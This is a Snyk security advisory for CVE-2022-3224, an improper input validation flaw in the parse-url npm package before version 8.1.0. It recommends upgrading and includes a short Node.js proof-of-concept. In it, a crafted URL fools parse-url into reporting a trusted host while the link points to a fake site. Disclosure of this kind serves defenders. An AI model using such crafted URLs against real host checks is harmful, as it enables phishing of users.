Improper Input Validation Affecting parse-url package, versions <8.1.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-PARSEURL-3024398
  • published15 Sept 2022
  • disclosed15 Sept 2022
  • creditAutomne

Introduced: 15 Sep 2022

CVE-2022-3224  (opens in a new tab)
CWE-115  (opens in a new tab)

How to fix?

Upgrade parse-url to version 8.1.0 or higher.

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.


const parseUrl = require("parse-url");
const Url = require("url");

const express = require('express'); const app = express();

var url = "https://www.google.com:x@fakesite.com:x"; parsed = parseUrl(url); console.log("[*]parse-url output: ") console.log(parsed);

parsed2 = Url.parse(url); console.log("[*]url output: ") console.log(parsed2)

app.get('/', (req, res) => { if (parsed.host == "www.google.com") { res.send("<a href=&#39;" + parsed2.href + "&#39;>CLICK ME!</a>") } })

app.listen(8888,"0.0.0.0");

CVSS Scores

version 3.1